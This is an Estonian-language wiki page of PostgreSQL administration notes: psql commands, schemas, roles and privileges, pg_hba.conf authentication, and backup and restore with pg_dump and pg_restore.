psql on andmebaasi interaktiivne terminaliprogramm, mida saab üldiselt kasutada nii andmebaasi pärigute esitamiseks kui haldusprotseduuridele iseloomulike tegevuste sooritamiseks. Järgnevas kirjeldatakse psql kasutamist aktsendiga haldusele.&lt;br /&gt;
&lt;br /&gt;
* Skeemi tabelite nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; \dt priiduskeem.*&lt;br /&gt;
&lt;br /&gt;
ja koos suurustega lisada +&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; \dt+ priiduskeem.*&lt;br /&gt;
&lt;br /&gt;
Väljundi faili salvestamiseks tuleb ette öelda&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; \o /tmp/psql-valjund.txt&lt;br /&gt;
&lt;br /&gt;
===Andmebaasid===&lt;br /&gt;
&lt;br /&gt;
Vaikimisi on kõigil PostgreSQL kasutajatel õigus ühenduda andmebaasiga, kusjuures sealt edasi andmebaasis sisalduvate objektide (skeemid, tabelid, vaated je) kasutamist piiratakse privileegidega. Kui andmebaas on ühe kasutaja oma ja skeem ning skeemis sisalduv teise kasutaja oma, siis esimene kasutaja ei pruugi saada teist skeemi kasutada vaatamata sellele, et ta on vastava andmebaasi omanik.&lt;br /&gt;
&lt;br /&gt;
===Skeemid===&lt;br /&gt;
&lt;br /&gt;
* Võimaldada mitmetele kasutajatel kasutada sama andmebaasi säilitades kasutajate privaatsuse.&lt;br /&gt;
* Korraldada andmebaasi objektid loogilistesse gruppidesse selleks, et andmebaas oleks paremini hallatav&lt;br /&gt;
* Erinevates skeemides saab kasutada samu objektide nimesid&lt;br /&gt;
&lt;br /&gt;
Skeemi moodustamiseks sobib öelda, tavaliselt tekitab nii süsteemi administraator oma kasutajatele skeeme&lt;br /&gt;
&lt;br /&gt;
 CREATE SCHEMA priiduskeem AUTHORIZATION priit;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* priiduskeem - tekitatava skeemi nimi&lt;br /&gt;
* priit - andmebaasi kasutaja (üldisemalt roll)&lt;br /&gt;
&lt;br /&gt;
Skeemide moodustamisel peab nimevalikul arvestama, et pg_ algusega nimede on reserveeritud kasutamiseks pg_catalog skeemis ning kuigi kasutajad saavad neid nimesid ka ise kasutada, kasutab andmebaas vaikimisi süsteemseid objekte kui sellise nimega pöörduda.&lt;br /&gt;
&lt;br /&gt;
Kui andmebaasiga töötades skeemi mitte näidata, siis vaikimisi toimub tegevus&lt;br /&gt;
&lt;br /&gt;
* kasutajanimelises skeemis&lt;br /&gt;
* kasutajanimelise skeemi puudumisel skeemis 'public'; see skeem moodustatakse andmebaasi loomisel automaatselt.&lt;br /&gt;
&lt;br /&gt;
 test=&amp;gt; show search_path;&lt;br /&gt;
   search_path   &lt;br /&gt;
 ----------------&lt;br /&gt;
  &amp;quot;$user&amp;quot;,public&lt;br /&gt;
 (1 row)&lt;br /&gt;
&lt;br /&gt;
Skeemirada töötab sarnaselt tabelile ka muude skeemis sisalduvate objektidega, nt funktsioonid.&lt;br /&gt;
&lt;br /&gt;
Skeemi suhtes on kasutajatel kahe sorti privileege&lt;br /&gt;
&lt;br /&gt;
* usage - skeemis sisalduvate objektide kasutamine&lt;br /&gt;
* create - skeemi objektide tekitamine&lt;br /&gt;
&lt;br /&gt;
Vaikimisi saavad kõik andmebaasi kasutajad töötada public skeemis, st seda kasutada ja sinna tekitada objekte.&lt;br /&gt;
&lt;br /&gt;
Alati sisaldub andmebaasis nö süsteemne skeem pg_catalog ja seda kasutatakse enne skeemirajalt objektide otsimist.&lt;br /&gt;
&lt;br /&gt;
public skeem on iseenesest tavaline skeem nagu iga teinega, nt võib selle vajadusel ka kustutada.&lt;br /&gt;
&lt;br /&gt;
Skeemiraja seadistamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 set search_path to skeeminimi1, skeeminimi2&lt;br /&gt;
&lt;br /&gt;
Skeemidele antud privileegide esitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 baasinimi=# \dn+&lt;br /&gt;
                                      List of schemas&lt;br /&gt;
         Name        |  Owner   |  Access privileges   |           Description            &lt;br /&gt;
 --------------------+----------+----------------------+----------------------------------&lt;br /&gt;
  information_schema | postgres | postgres=UC/postgres | &lt;br /&gt;
                                : =U/postgres            &lt;br /&gt;
  pg_catalog         | postgres | postgres=UC/postgres | system catalog schema&lt;br /&gt;
                                : =U/postgres            &lt;br /&gt;
  pg_toast           | postgres |                      | reserved schema for TOAST tables&lt;br /&gt;
  pg_toast_temp_1    | postgres |                      | &lt;br /&gt;
  public             | postgres | postgres=UC/postgres | standard public schema&lt;br /&gt;
                                : =U/postgres&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* public skeemi omanik on kasutaja postgres ja tal on selle skeemi suhtes usage ja create õigused&lt;br /&gt;
* kõigil teistel kasutajatel on public skeemi suhtes usage õigus; üldiselt võib öelda&lt;br /&gt;
&lt;br /&gt;
 kasutaja_kellele_privileeg_antakse=privileeg/kõnealuse_objekt_omaniku_nimi&lt;br /&gt;
&lt;br /&gt;
===PostgreSQL privileegisüsteem===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL privileegisüsteem kontrollib, mida saavad erinevad kasutajad andmebaasis teha. Üldiselt on andmebaasi ligipääsule võimalik piiranguid seada kolmel tasemel&lt;br /&gt;
&lt;br /&gt;
* võrguühenduse tase - nt andmebaasi ees töötavas tulemüüris võrguühendusi src ipi aadressi täpsusega piirates&lt;br /&gt;
* pg_hba.conf failis&lt;br /&gt;
* andmebaasi sisemiste vahenditega&lt;br /&gt;
&lt;br /&gt;
Andmebaasi sisemiste vahenditega saab ligipääse piirata kõige täpsemalt kusjuures seadistatud ligipääse hoib andmebaas selleks ettenähtud andmebaasi tabelites.&lt;br /&gt;
&lt;br /&gt;
===Kasutajad ja grupid - rollid===&lt;br /&gt;
&lt;br /&gt;
Üldiselt öeldakse, et PostgreSQLi andmebaasi kasutajad tegutsevad andmebaasi kasutades mingites rollides&lt;br /&gt;
&lt;br /&gt;
* andmebaasi objektide, nt tablitele juures on kirjas, millise rolliga kasutaja saab kõnealuse objektida millist tegevust sooritada, nt tabelit sisu select käsuga lugeda&lt;br /&gt;
* andmebaasi sisselogimiseks on kasutajal vaja teada mõnda andmebaasis kirjeldatud LOGIN omadusega rolli ligipääse (sh parooli)&lt;br /&gt;
* rollid võivad moodustada hierarhiaid, mida võib praktiliselt ette kujutada grupikuuluvustena; praktiliselt tähendab see nt seda, et andmebaasis kirjeldatakse roll ja sellega seostatakse mingid ligipääsud erinevatele objektidele ning selleks, et konkreetsed sisselogivad kasutajad saaksid kõnealustele objektidega tegevusi sooritada määratakse nad kirjeldatud rolli nö pärijateks&lt;br /&gt;
&lt;br /&gt;
Rollid on kirjeldatud kogu andmeklustri ehk PostgreSQL installatsiooni eksemplari kohta, mitte iga andmebaasi kohta. Tuleb arvestada, et sama nö ühenduse sees saab kasutada ainult ühte andmebaasi, st nt ei saa sooritada päringut, mis tegelab erinevate baaside tabelitega.&lt;br /&gt;
&lt;br /&gt;
===Rollide moodustamine===&lt;br /&gt;
&lt;br /&gt;
Andmebaasi paigaldamisel tekitatakse andmebaasi selle kasutaja nimeline LOGIN omadusega roll, millena andmebaas paigaldati, traditsiooniliselt on selle rolli nimeks 'postgres'.&lt;br /&gt;
&lt;br /&gt;
Group ehk mitte-LOGIN rolli moodustamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; create role kasutajad;&lt;br /&gt;
&lt;br /&gt;
ja rolli eemaldamiseks&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; drop role kasutajad;&lt;br /&gt;
&lt;br /&gt;
LOGIN rolli moodustamiseks sh parooli seadmiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; create role priit login password 'parool' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;&lt;br /&gt;
&lt;br /&gt;
Andmebaasi administraator saab muuta kõigi kasutajate paroole ja kasutaja saab muuta ise enda parooli öeldes&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; alter role priit with password 'uusparool';&lt;br /&gt;
&lt;br /&gt;
Ilmutatud kujul parooli esitamisel on selline puudus, et see võib jääda kuhugi alles, nt logisse või .psql_history faili. Alternatiiviks on arvutada selliselt kokku ühendatud parool + kasutajanimi md5 summa&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select md5('uusparoolpriit');&lt;br /&gt;
 &amp;quot;fdd04c2f594e548b77c66781c8f5a85a&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ning seejärel, nb! hash algusse on lisatud 'md5'&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; alter role priit with encrypted password 'md5fdd04c2f594e548b77c66781c8f5a85a';&lt;br /&gt;
&lt;br /&gt;
===Rollide kasutamine===&lt;br /&gt;
&lt;br /&gt;
Käesoleva rollinime küsimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select user;&lt;br /&gt;
&lt;br /&gt;
Uue rolli omandamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; set role uusrollinimi;&lt;br /&gt;
&lt;br /&gt;
Vaikerollile lülitumiseks&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; reset role;&lt;br /&gt;
&lt;br /&gt;
Käesolevat rolli saab küsida&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; show role;&lt;br /&gt;
&lt;br /&gt;
Kasutajale st login rollile grupi rolliga seotud privileegide lisamiseks&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; grant grupiroll to loginroll;&lt;br /&gt;
&lt;br /&gt;
===Rollidele andmebaasiobjektide kasutamise lubamine andmebaasi sisemise acl abil===&lt;br /&gt;
&lt;br /&gt;
Andmebaasi objektidel on privileegisüsteemi seisukohast kaks olulist omadust&lt;br /&gt;
&lt;br /&gt;
* objekti omanik (ingl. k. owner) - objekti moodustanud roll, kellel on objekti suhtes kõikvõimalikud õigused&lt;br /&gt;
* pääsunimekiri (ingl. k. access control list, ACL) - millised omanikud saavad kõnealuse objektida milliseid tegevusi sooritada&lt;br /&gt;
&lt;br /&gt;
====Tabel====&lt;br /&gt;
&lt;br /&gt;
Olgu andmebaasi administraator tekitanud kaks rolli priit ning mart ning moodustanud kummagi kasutaja jaoks andmebaasi nendenimelise skeemi. Sellises olukorras saavad mõlemad kasutajad oma skeemis toimetada kuid üksteise tabelitele sisule ligi ei pääse.&lt;br /&gt;
&lt;br /&gt;
 test=&amp;gt; select * from priit.priidutabel;&lt;br /&gt;
 ERROR:  permission denied for schema priit&lt;br /&gt;
 LINE 1: select * from priit.priidutabel;&lt;br /&gt;
&lt;br /&gt;
Selleks, et kasutaja mart pääseks lugema kasutaja priit tabeli priit.priidutabel sisu peab priit kõnealusele tabelile andma kasutajale mart select pääsu&lt;br /&gt;
&lt;br /&gt;
 GRANT SELECT ON TABLE priit.priidutabel TO mart;&lt;br /&gt;
&lt;br /&gt;
Tabeli ligipääsude kohta saab küsida öeldes&lt;br /&gt;
&lt;br /&gt;
 test=&amp;gt; \z priit.priidutabel &lt;br /&gt;
                                Access privileges&lt;br /&gt;
  Schema |    Name     | Type  |  Access privileges  | Column access privileges &lt;br /&gt;
 --------+-------------+-------+---------------------+--------------------------&lt;br /&gt;
  priit  | priidutabel | table | priit=arwdDxt/priit | &lt;br /&gt;
                               : mart=r/priit          &lt;br /&gt;
 (1 row)&lt;br /&gt;
&lt;br /&gt;
kust on näha&lt;br /&gt;
&lt;br /&gt;
* priit=arwdDxt/priit - tabel kuulub kasutajale priit ning tal on omanikuna kõik privileegid&lt;br /&gt;
* mart=r/priit - tabel kuulub kasutajale priit ning kasutajal mart on sellele r privileeg (select); üldiselt kehtib&lt;br /&gt;
&lt;br /&gt;
 kasutaja_kellele_privileeg_antakse=privileeg/kõnealuse_objekti_omaniku_nimi&lt;br /&gt;
&lt;br /&gt;
Tabelilt ligipääsu eemaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 REVOKE select ON priit.priidutabel TO mart;&lt;br /&gt;
&lt;br /&gt;
Tabelile saab ligipääse anda ka tulba täpsusega, nt&lt;br /&gt;
&lt;br /&gt;
 GRANT SELECT(nimi) ON priit.priidutabel TO mart;&lt;br /&gt;
&lt;br /&gt;
kusjuures siis on võimalik küsida selectiga ainult vastava tulba andmeid.&lt;br /&gt;
&lt;br /&gt;
Kasutaja parooli muutmine&lt;br /&gt;
&lt;br /&gt;
 ALTER USER kasutajanimi WITH PASSWORD 'parool';&lt;br /&gt;
&lt;br /&gt;
Kõigi skeemi tabelitele rolli ligipääsu tekitamine, vastuseks saab hulga sql lauseid, mis tuleb seejärel käivitada, nt (\o /tmp/failinimi.sql salvestab vastuse failisüsteemi, et seda sealt \i /tmp/failinimi.sql abil seejärel kasutada)&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; \o /tmp/failinimi.sql&lt;br /&gt;
 SQL&amp;gt; select 'GRANT SELECT, INSERT, UPDATE, DELETE ON ' || schemaname || '.' || tablename || ' TO rollinimi;' \&lt;br /&gt;
   from pg_tables where tableowner='omanikunimi' and schemaname != 'pg_catalog' and schemaname != 'information_schema';&lt;br /&gt;
&lt;br /&gt;
Kusjuures, selleks, et roll saaks skeemi kasutada peab olema skeemile antud nt USAGE privileeg&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; GRANT USAGE ON SCHEMA skeeminimi TO rollinimi;&lt;br /&gt;
&lt;br /&gt;
Tabelile ligipääs&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT 'GRANT SELECT ON skeeminimi.' || table_name || ' TO rakendus_ro;' FROM information_schema.tables WHERE table_schema = 'skeeminimi' \&lt;br /&gt;
   and table_type = 'BASE TABLE';&lt;br /&gt;
 --------------------------------------------------------&lt;br /&gt;
 GRANT SELECT ON skeeminimi.vahendaja TO rakendus_ro;&lt;br /&gt;
 GRANT SELECT ON skeeminimi.oigus_antud TO rakendus_ro;&lt;br /&gt;
 GRANT SELECT ON skeeminimi.dokumendi_fail TO rakendus_ro;&lt;br /&gt;
 GRANT SELECT ON skeeminimi.vastuvotja_staatus TO rakendus_ro;&lt;br /&gt;
 ..&lt;br /&gt;
&lt;br /&gt;
Sequentsidele ligipääs&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select 'grant usage, select, update on rakendus.' || sequence_name || ' to rakendus_rw' FROM information_schema.sequences \&lt;br /&gt;
   where sequence_schema = 'skeeminimi';&lt;br /&gt;
 &lt;br /&gt;
                                  ?column?                                &lt;br /&gt;
 ------------------------------------------------------------------------&lt;br /&gt;
  grant usage, select, update on skeeminimi.sq_transport_id to rakendus_rw;&lt;br /&gt;
  grant usage, select, update on skeeminimi.sq_vastuvotja_id to rakendus_rw;&lt;br /&gt;
  grant usage, select, update on skeeminimi.sq_ametikoht_id to rakendus_rw;&lt;br /&gt;
  grant usage, select, update on skeeminimi.sq_ametikoht_taitmine_id to rakendus_rw;&lt;br /&gt;
  ..&lt;br /&gt;
&lt;br /&gt;
Ligipääsu eemaldamine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT 'REVOKE SELECT ON skeeminimi.' || table_name || ' FROM rakendus_rw;' FROM information_schema.tables WHERE table_schema = 'skeeminimi' \&lt;br /&gt;
   and table_type = 'BASE TABLE';&lt;br /&gt;
&lt;br /&gt;
====Funktsioon====&lt;br /&gt;
&lt;br /&gt;
 ALTER FUNCTION vklog.log_dokument(vk.dokument, vk.dokument, character varying) OWNER TO vk_admin;&lt;br /&gt;
&lt;br /&gt;
====Trigger funktsioon====&lt;br /&gt;
&lt;br /&gt;
 GRANT EXECUTE ON FUNCTION dkk.tr_allkiri_log() TO dkk_rw;&lt;br /&gt;
&lt;br /&gt;
===Rollidele andmebaasiobjektide kasutamise lubamine pg_hba.conf seadistusfaili abil===&lt;br /&gt;
&lt;br /&gt;
Seadistusfail /etc/postgresql/8.4/main/pg_hba.conf kontrollib ligipääsu sellise komplekti andmete alusel&lt;br /&gt;
&lt;br /&gt;
* ühenduse tüüp - üle tcp või unix soketi (st kas üle võrgu või unix soket abil)&lt;br /&gt;
* baasi nimi&lt;br /&gt;
* kasutaja nimi&lt;br /&gt;
* ip aadress (tcp ühenduse puhul)&lt;br /&gt;
* autentimise meetod - parooliga, kasutaja sertifikaadiga; unix soketi puhul ident&lt;br /&gt;
&lt;br /&gt;
====ident====&lt;br /&gt;
&lt;br /&gt;
Nn unixi postgre kasutaja saab ligi kõigile baasidele üle unixi soketi (/var/run/postgresql/.s.PGSQL.5432)&lt;br /&gt;
&lt;br /&gt;
 local   all         postgres                          ident&lt;br /&gt;
&lt;br /&gt;
ja kasutamiseks tuleb öelda nt&lt;br /&gt;
&lt;br /&gt;
 # su - postgres&lt;br /&gt;
 $ psql -U postgres&lt;br /&gt;
&lt;br /&gt;
====map====&lt;br /&gt;
&lt;br /&gt;
mappinguid juhitakse failiga pg_ident.conf http://www.postgresql.org/docs/8.4/static/auth-username-maps.html&lt;br /&gt;
&lt;br /&gt;
 # cat pg_ident.conf&lt;br /&gt;
 ..&lt;br /&gt;
 # MAPNAME     SYSTEM-USERNAME    PG-USERNAME&lt;br /&gt;
 mapping_yks   www-data        pg_kasutaja_1&lt;br /&gt;
 mapping_kaks   www-data       pg_kasutaja_2&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* MAPNAME - teisenduse nimi, mida pg_hba.conf failis kasutatakse&lt;br /&gt;
* SYSTEM-USERNAME - ident nimi (kohalikust arvutist tehtud pöördumiste puhul praktiliselt andmebaasi poole pöörduva protsessi UID)&lt;br /&gt;
* PG-USERNAME - andmebaasi kasutaja nimi, millena on vastaval SYSTEM-USERNAME'il lubatud andmebaasi kasutada&lt;br /&gt;
&lt;br /&gt;
ja (kusjuures nagu ikka, oluline on kus ridade järjekorra mõttes antud rida paikneb nt tema ees ei tohi olla 'local all all reject')&lt;br /&gt;
&lt;br /&gt;
 # pg_hba.conf&lt;br /&gt;
 local   all  all      ident map=mapping_yks&lt;br /&gt;
&lt;br /&gt;
siis töötab nt selline kasutus&lt;br /&gt;
&lt;br /&gt;
 # su - www-data&lt;br /&gt;
 $ psql -U pg_kasutaja_1 baasinimi&lt;br /&gt;
 ..&lt;br /&gt;
 baasinimi =&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===SQL arhiivifaili moodustamine===&lt;br /&gt;
&lt;br /&gt;
pg_dump programmi abil saab teha PostgreSQL andmebaasi (mitte kogu andmeklustrist, st kõigist andmebaasidest ühekorraga) andmetest erinevatel tasemetel koopiaid - andmebaasist, skeemist, tabelist, ja määrata seejuures täpsustusi, nt kas kopeeritakse ainult struktuur või struktuur koos andmetega. pg_dump kasutamise tulemusena moodustatakse arhiivifail.&lt;br /&gt;
&lt;br /&gt;
Programmi kasumisel saab valida kolme formaadi vahel, milles väljund tekitatakse&lt;br /&gt;
&lt;br /&gt;
* tekst (ingl. k. plain) - tekstikujul SQL skript, vaikeformaat&lt;br /&gt;
* kostümiseeritud arhiiv (ingl. k. custom) - binaarne ahriiv, vaikimisi pakitud, võimaldab kõige paindlikumalt pärast arhiivifailis olevaid andmeid kasutada&lt;br /&gt;
* tar - TODO&lt;br /&gt;
&lt;br /&gt;
pg_dump moodustab tänu MVCC tehnika kasutamisele andmetest kooskõlalise väljundi, nii nagu andmete seis oli pg_dump käivitamisel. Kuig pg_dump kasutamise ajal on nö tavapärane andmebaasi kasutamine võimalik, kasutab ta lukke selliselt, et nt samal ajal ei saab tabelite struktuuri muuta.&lt;br /&gt;
&lt;br /&gt;
====SQL skripti moodustamine====&lt;br /&gt;
&lt;br /&gt;
SQL skripti kujul esineva arhiivifaili moodustamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
  $ export PGPASSWORD=parool&lt;br /&gt;
  $ pg_dump -U postgres -h localhost baasinimi -f baasinimi-20090802.sql &lt;br /&gt;
    1&amp;gt; baasinimi-20090802-1.log 2&amp;gt; baasinimi-20090802-2.log&lt;br /&gt;
&lt;br /&gt;
Skripti tekitamisel saab määrata nt, kas skripti lisatakse käsud andmebaasi, skeemi või tabeli moodustamise kohta või mitte.&lt;br /&gt;
&lt;br /&gt;
====Kostümiseeritud arhiivifaili moodustamine====&lt;br /&gt;
&lt;br /&gt;
Nt andbaasi portaal skeemi data tabelist documents kostümiseeritud arhiivi moodustamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  $ export PGPASSWORD=parool&lt;br /&gt;
  $ pg_dump -Fc -h localhost -U postgres -t data.documents -f portaal.data.documents.fcdump portaal&lt;br /&gt;
&lt;br /&gt;
===SQL arhiivifaili kasutamine===&lt;br /&gt;
&lt;br /&gt;
Andmete taastamiseks on kaks programmi&lt;br /&gt;
&lt;br /&gt;
* psql - SQL skript antakse programmi sisendisse, psql täidab järjekorras seal esitatud laused kuni esimese veani või skripti lõpuni&lt;br /&gt;
* pg_restore - programmi argumendina näidatakse kostümiseeritud SQL arhiivifail, väljundisse kirjutatakse lausete täitmisel esinevad vead, kuid töötatakse kuni arhiivifaili lõpuni&lt;br /&gt;
&lt;br /&gt;
pg_restore võimaldab&lt;br /&gt;
&lt;br /&gt;
* taastada arhiivist andmeid objekti, nt tableli täpsusega&lt;br /&gt;
* valida, millised järjekorras andmed arhiivist taastatakse&lt;br /&gt;
&lt;br /&gt;
Kui andmebaasis on kasutatud contrib mooduleid, mille esmakordsel paigaldamisel tuli tõenäoliselt käivitavad vastav mooduli paigaldusskript (mis tekitas baasi funktsioone jms), siis taastel ei ole reeglina seda vaja kasutada, sest vastavad funktsioonid on baasis olemas ja taaste käigus nad tekitatakse.&lt;br /&gt;
&lt;br /&gt;
====SQL skripti kasutamine====&lt;br /&gt;
&lt;br /&gt;
Kasutamiseks tuleb psql utiliidiga laadida skript andmebaasi, nt&lt;br /&gt;
&lt;br /&gt;
 $ psql -U postgres -h localhost baasinimi &amp;lt; baasinimi-20090802.sql&lt;br /&gt;
&lt;br /&gt;
Tekstikujul esituse puuduseks on suhteliselt mahtukas tulemus ja aeganõudev protseduuri kestus. Eeliseks võib pidada asjaolu, et andmed on inimesele hõlpsasti loetaval ja muudetaval kujul.&lt;br /&gt;
&lt;br /&gt;
Kui esitada alltoodud käsk kujul, toimub skripti täitmine ühe transaktsioonina, mis praktiliselt tähendab seda, et kui skripti täitmine tehnilises mõttes ebaõnnestub, töötab andmebaas edasi muudatusele eelnenud kujul&lt;br /&gt;
&lt;br /&gt;
 $ psql -1 -U postgres -h localhost -f baasinimi-20090802.sql baasinimi&lt;br /&gt;
&lt;br /&gt;
====Kostümiseeritud arhiivifaili kasutamine====&lt;br /&gt;
&lt;br /&gt;
Andmete kopeerimiseks kostümiseeritud arhiivifailist otse andmebaasi sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
  $ pg_restore -d portaal -h localhost -U postgres portaal.data.documents.fcdump&lt;br /&gt;
&lt;br /&gt;
Arhiivifailis sisalduvate objektide nimekirja esitamiseks tuleb kasutada -l võtit&lt;br /&gt;
&lt;br /&gt;
  $ pg_restore -l /data/backup/dumps/portaal.data.dokuments.fcdump&lt;br /&gt;
  ;&lt;br /&gt;
  ; Archive created at Thu Sep 10 14:54:27 2009&lt;br /&gt;
  ;     dbname: portaal&lt;br /&gt;
  ;     TOC Entries: 11&lt;br /&gt;
  ;     Compression: -1&lt;br /&gt;
  ;     Dump Version: 1.10-0&lt;br /&gt;
  ;     Format: CUSTOM&lt;br /&gt;
  ;     Integer: 4 bytes&lt;br /&gt;
  ;     Offset: 8 bytes&lt;br /&gt;
  ;     Dumped from database version: 8.3.5&lt;br /&gt;
  ;     Dumped by pg_dump version: 8.3.5&lt;br /&gt;
  ;&lt;br /&gt;
  ;&lt;br /&gt;
  ; Selected TOC Entries:&lt;br /&gt;
  ;&lt;br /&gt;
  8462; 1259 40169 TABLE data documents sysadm&lt;br /&gt;
  9384; 0 0 ACL data documents sysadm&lt;br /&gt;
  8463; 1259 40175 SEQUENCE data documents_doc_id_seq sysadm&lt;br /&gt;
  9385; 0 0 SEQUENCE OWNED BY data documents_doc_id_seq sysadm&lt;br /&gt;
  9386; 0 0 SEQUENCE SET data documents_doc_id_seq sysadm&lt;br /&gt;
  9378; 2604 42053 DEFAULT data doc_id sysadm&lt;br /&gt;
  9381; 0 40169 TABLE DATA data documents sysadm&lt;br /&gt;
  9379; 1259 48086585 INDEX data documents_doc_id sysadm&lt;br /&gt;
  9380; 2620 48087091 TRIGGER data timestamp sysadm&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TOC (Table of Contents) - sisukord&lt;br /&gt;
* rea alguses on objekti id väärtus&lt;br /&gt;
* kõik semikoolonist paremale jääv on kommentaar&lt;br /&gt;
&lt;br /&gt;
Nõuanded pg_restore kasutamiseks&lt;br /&gt;
&lt;br /&gt;
* Arhiivifaili sisu teisendamiseks SQL skripti kujule tuleb jätta ära -d võti&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore arhiivifail-20100506.fcdump &amp;gt; arhiivifail-20100506.sql&lt;br /&gt;
&lt;br /&gt;
* Arhiivifaili ühte tabeli kirjelduse esitamiseks tuleb näidata skeemi ning tabeli nimi ja võti -s&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore -s -n priiduskeem -t inimene arhiivifail-20100506.fcdump&lt;br /&gt;
&lt;br /&gt;
* Arhiivifailist ühe tabeli taastamiseks otse andmebaasi&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore -d baasinimi -n priiduskeem -t inimene arhiivifail-20100506.fcdump&lt;br /&gt;
&lt;br /&gt;
* Arhiivifailist nimekirja alusel objektide taastamiseks tuleb esmalt -l väljundi alusel moodustada sobiva sisuga tekstifail ja seda redigeerida ning siis seda kasutada, seejuures võib ka objektide järjekorda muuta&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore -l arhiivifail-20100506.fcdump &amp;gt; arhiivifail-20100506.fcdump.list&lt;br /&gt;
 $ pg_restore -d baasinimi -h localhost -U postgres -L arhiivifail-20100506.fcdump.list arhiivifail-20100506.fcdump&lt;br /&gt;
&lt;br /&gt;
* Mitme protsessoriga arvutil saab -j võtme abil näidata milliselt määral kasutatakse paralleelset tööd andmete sisselugemisel, nt&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore -j 16 -d baasinimi arhiivifail-20100506.fcdump&lt;br /&gt;
&lt;br /&gt;
====Globals====&lt;br /&gt;
&lt;br /&gt;
Globalsiks nimetatakse neid andmebaasi andmeid, mis ei sisaldu otseselt üheski baasis, vaid kuuluvad andmebaasi kui terviku juurde, nt rollid. Nende salvestamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 $ pg_dumpall -g -h localhost -U postgres &amp;gt; globals.sql&lt;br /&gt;
&lt;br /&gt;
Moodustatud skripti sobib kasutada nagu nö tavalist sql skripti. Ainult rollide andmete kopeerimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 $ pg_dumpall -r -h localhost -U postgres &amp;gt; roles.sql&lt;br /&gt;
&lt;br /&gt;
===SQL dump/restore kasutamine arvestades objektide omanikke===&lt;br /&gt;
&lt;br /&gt;
Lähtepunkt&lt;br /&gt;
&lt;br /&gt;
* töötab üks PostgreSQL protsesside komplekt&lt;br /&gt;
* on olemas üks andmebaasi tarkvara sisene kasutaja&lt;br /&gt;
* on olemas create database andmebaas (kõik objektid kuuluvad mainitud kasutajale)&lt;br /&gt;
&lt;br /&gt;
Sihtpunkt&lt;br /&gt;
&lt;br /&gt;
* töötab üks PostgreSQL protsesside komplekt&lt;br /&gt;
* lähtepunktiks olnud kasutaja ja baas säilivad algsel kujul&lt;br /&gt;
* on tekitatud juurde teine andmebaasi tarkvara sisene kasutaja&lt;br /&gt;
* on tekitatud juurde teine create database andmebaas; kõik objektid on seal teise kasutaja omanduses&lt;br /&gt;
* teise andmebaasi sisuks on esimese andmebaasi sisu&lt;br /&gt;
* mõlemad create database andmebaasid on tavalised, üksteisest sõltumatud andmebaasid&lt;br /&gt;
&lt;br /&gt;
Nt leiab selline ülesanne kasutust töötavast lahendusest teha koopia kõrvale mingite testimiste jaoks.&lt;br /&gt;
&lt;br /&gt;
====pg_dump -O ja psql====&lt;br /&gt;
&lt;br /&gt;
Protseduuri eeliseks on, et andmete sisselaadimine uude andmebaasi tõimub privilegeerimata kasutajana. pg_dump kasutamisel sql skript moodustamisel tuleb omanike käsud dump failist välja jätta kohe alguses&lt;br /&gt;
&lt;br /&gt;
 pg_dump -O ...&lt;br /&gt;
&lt;br /&gt;
sisselaadimiseks&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
====pg_dump -Fc ja pg_restore====&lt;br /&gt;
&lt;br /&gt;
Protseduuri eeliseks on, et andmete sisselaadimine uude andmebaasi tõimub privilegeerimata kasutajana. Moodustada -Fc dump&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/9.4/bin/pg_dump -Fc -f baasinimi-20180922-94.dump baasinimi&lt;br /&gt;
&lt;br /&gt;
uue kasutaja moodustamine&lt;br /&gt;
&lt;br /&gt;
 postgres=# create role kasutajanimi login password 'fakeparool' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;&lt;br /&gt;
&lt;br /&gt;
uue baasi moodustamine (template = template0 LC_COLLATE = 'C.UTF-8' LC_CTYPE = 'C.UTF-8' on näiteks)&lt;br /&gt;
&lt;br /&gt;
